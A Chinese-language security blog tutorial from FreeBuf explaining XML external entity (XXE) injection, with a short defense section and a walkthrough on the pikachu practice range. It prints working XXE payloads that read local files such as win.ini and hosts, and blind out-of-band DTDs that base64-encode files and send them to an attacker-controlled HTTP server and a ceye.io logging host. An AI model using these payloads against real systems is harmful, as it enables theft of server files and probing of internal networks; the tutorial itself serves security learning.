freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

WEB漏洞 XXE原理&实践
Koi 2023-11-04 19:14:55 177953

一、原理:

XXE漏洞全称即XML外部实体注入漏洞。

攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件),导致可加载恶意外部文件,利用file协议造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

一句话概括:用户传入的XML被解析成实体执行

二、危害:

1.导致可以加载恶意外部文件

2.造成文件读取

3.内网端口扫描

4.攻击内网网站

5.发起dos攻击等危害

三、防御:

过滤用户提交的XML数据。

如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,起到防御的目的。

二、基本利用(pikachu靶场):

将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。

有回显::::

1、检测XML是否会被解析

1699091651_654614c32af08d13f4c3c.png!small?1699091652366

<?xml version="1.0" encoding="UTF-8" ?>
 
<!DOCTYPE note [
    <!ENTITY hack "test">
]>
 
<name>&hack;</name>

页面若输出了test,说明XML文件可以被解析

2、通过外部实体(file协议)读取文件

XML内容被解析后,使用,文件内容便通过被存放在了XXE元素中,造成了敏感信息的泄露,在服务端开启了DTD外部引用且没有对DTD对象进行过滤的情况下, 可以利用DTD引用系统关键文件:

1699091666_654614d29c83c776d854b.png!small?1699091667737

<?xml version="1.0" encoding="UTF-8" ?>
 
<!DOCTYPE note [
    <!ENTITY hack SYSTEM "file:///windows/win.ini">
]>
 
<name>&hack;</name>

外部实体引用 Payload,访问服务器上的hosts文件

1699091685_654614e520c65b115c14d.png!small?1699091686444

<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>

无回显::::

服务器日志回显

通过服务器请求包的信息来查看并读取文件。

win7靶场机IP:192.168.200.34,

KALI充当攻击机IP:192.168.200.14

在KALI上用python开启http服务,输入命令

python3 -m http.server 80

1699091703_654614f7c0ac7feec0962.png!small?1699091704952

然后在kali中新建一个xxe.dtd文件

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///C:/m.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.200.14?c=%file;'>">

1699091717_6546150582289d508e50f.png!small?1699091718541

在靶机c盘下创建一个m.txt(也可以读取其他敏感文件,进行验证)

1699091729_65461511dd336724b1a0a.png!small?1699091731079

payload如下

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.200.14/xxe.dtd">
%remote;%int;%send;
]>

前台页面执行完是不回显

1699091742_6546151ec22a88dbbf604.png!small?1699091743878

回到KALI开启得http服务器终端上,能提交数据的请求包信息

xxe.txt里面的内容被警告base64加密后所外带显示出来了c=d2VsY29tZQ==

1699091754_6546152ab3eccb99c8d69.png!small?1699091756575

补充:

我这里一开始将创建得xxe.dtd文件放在了桌面上,因为这个权限是很低得,KALI应该自带什么防御机制,所以文件始终无法读取,出现404得报错信息,直到将文件放在root目录下便解决

3、利用CEYE.IO平台

(1)利用公网服务器,查看日志记录

(2)利用DNSLOG,查看访问记录

(3)利用CEYE.io带出数据进行查看

通过外部实体注入test.dtd

创建test.dtd文件,将里面得个人标识符进行替换

1699091765_654615350784d56aef526.png!small?1699091766181

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://ddol7e.ceye.io/?p=%file;'>">

构造得xml:

1699091783_65461547bba5cd84b49cc.png!small?1699091784974

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.200.34/test.dtd">
%remote;%int;%send;%file;
]>

参考文章:https://blog.csdn.net/qq_45612828/article/details/126116429

来到后台查看HTTP请求页面,进行base64解码便可得到明文

1699091797_6546155529b62dc57e41e.png!small?1699091798675

另一种解析得结果查看方式

1699091806_6546155ef351f6de96c73.png!small?1699091808103

四、代码审计

对源码进行分析

表明传入的XML实体,要以POST方式进行传参,并且值不得为空

另外可以看到当data变量值为真时,才会会先内容

1699091824_654615701e658bb282a76.png!small?1699091825292

在此处,当点击提交的时候,会输入html变量得数据,所以便将此处得php语言删除就好,就不会在前台会显出内容

1699091833_654615797d75f2ceb4d2c.png!small?1699091834540

# 渗透测试 # web安全 # 系统安全
本文为 Koi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
WEB安全系列
Koi LV.6
每个人都是都是独一无二的个体。
  • 41 文章数
  • 28 关注者
Noob 靶场完整解析
2024-03-23
Al-Web-1.0 靶机 渗透测试
2024-03-20
Vulhub 练习 DC-4靶机完整复现
2024-03-11
文章目录